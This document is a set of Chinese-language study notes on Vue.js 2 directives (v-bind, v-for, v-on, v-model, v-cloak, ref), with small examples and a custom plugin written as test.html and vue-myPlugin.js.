v-bind:强制绑定解析表达式,可以省略v-bind,为元素绑定属性,只能实现数据的单向绑定,从M自动绑定到v,无法实现数据的双向绑定
- 写法:v-bind:属性名=表达式 - 简写的话可以直接省略v-bind,只保留:属性名 - 需要动态的增删class建议使用对象的方式。 - 图片切换 列表数据使用数组保存 - v-bind指令可以设置元素属性比如src - v-show和v-if都可以切换元素的现实状态,频繁切换使用v-show
3、列表循环,表单元素绑定
-
v-for:遍历数组/对象,根据数据生成列表结构
数组经常和v-for结合使用 语法是(item,index)in数据itme代表每一项,index代表索引 item和index可以结合其他指令一起使用 数组长度的更新会同步到页面上,是响应式的。
-
循环普通数组
<div id="app"> <!-- <p>{{ list[1] }}</p> --> <p v-for="(item,i) in list">索引值:{{i}} --- 每一项:{{ item }}</p> </div> <script> var vm = new Vue ({ el:"#app", data:{ list: [1,2,3,4,5,6] }, methods:{ } }); </script>
-
循环对象数组
<div id="app"> <p v-for="(user, i) in list"> Id: {{ user.id }} --- Name: {{ user.name }} --- 索引值: {{ i }}</p> </div> <script> var vm = new Vue ({ el:'#app', data:{ list: [ { id: 1, name: 'zs1'}, { id: 2, name: 'zs2'}, { id: 3, name: 'zs3'}, { id: 4, name: 'zs4'}, { id: 5, name: 'zs5'}, ] }, methods:{ } }) </script>
-
循环对象
<div id="app"> <!--在遍历对象身上的键值对的时候,除了有val key,在第三个位置还有一个索引--> <p v-for="(val, key, i) in user">值是:{{ val}} --- 键是:{{ key }} --- 索引是:{{ i }}</p> </div> <script> var vm = new Vue ({ el: '#app', data: { user: { id: 1, name: '托尼', gender: '男' } }, methods: { } }) </script>
-
迭代数字
<div id="app"> <!-- in 后面我们放过普通数组,对象数组,对象,还可以放数字--> <!-- 如果使用 v-for 迭代数字,前面的count值 从1开始--> <p v-for="count in 10">这是第{{ count }}次循环</p> </div次循环> <script> var vm = new Vue ({ el: '#app', data: { }, methods: { } }); </script>
-
-
v-on 补充 传递自定义参数,事件修饰符
- 事件绑定的方法写成函数调用的形式,可以传入自定义参数 - 定义方法时需要定义形参来接收传入的实参 - 事件的后面跟上 .修饰符 可以对事件进行限制 - .enter可以限制触发的按键为回车 - 事件修饰符有多种
-
v-model:获取和设置表单元素的值(双向数据绑定),可以实现表单元素和Model中数据的双向数据绑定
- 作用是便捷的设置和获取表单元素的值 - 绑定的数据会和表单元素值相关联 - 绑定数据<——>表单元素的值 - v-model只能运用在表单元素中 input(radio text address email) select checkbox textrea
4、v-cloak 能够解决 插值表达式的闪烁问题
5、键盘事件
<div class="test">
<input type="text" v-on:keyup="pressKey" v-on:keyup.enter="enterHit">
</div>
<script>
export default {
name:"test",
data(){
methods:{
enterHit:function(){
console.log("you pressed enter key")
}
}
}
</script>
6、ref
为元素注册一个唯一标识,vue对象通过$els属性访问这个元素对象
4.12 插件
引入插件包之后要声明使用
同一级目录之下有test.html vue-myPlugin.js
test.html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<body>
<script src="https://cdn.bootcdn.net/ajax/libs/vue/2.6.10/vue.js"></script>
<script src="./vue-myPlugin.js"></script>
<div id="test">
<p v-my-directive="msg"></p>
</div>
<script>
// 声明使用插件
Vue.use(MyPlugin) // 内部会调用MyPlugin的install方法,来安装此插件
Vue.myGlobalMethod()
const vm = new Vue({
el: "#test",
data() {
return {
msg: 'abcd'
}
},
})
vm.$myMethod()
</script>
</body>
</html>
vue-myPlugin.js
/*
自定义的Vue插件模块
*/
(function (window) {
//定义插件对象
const MyPlugin = {}
// 插件对象方法必须要有一个install方法
MyPlugin.install = function (Vue, options) {
// 给Vue添加工具/静态方法
Vue.myGlobalMethod = function () {
console.log('Vue.myGlobalMethod')
}
// 2. 定义全局指令
Vue.directive('my-directive', (el, binding) => {
el.textContent = binding.value + 'AAAAAAA'
})
// 4. 添加实例方法
Vue.prototype.$myMethod = function (methodOptions) {
console.log('vm.$myMethod()')
}
}
// 暴露插件
window.MyPlugin = MyPlugin
})(window)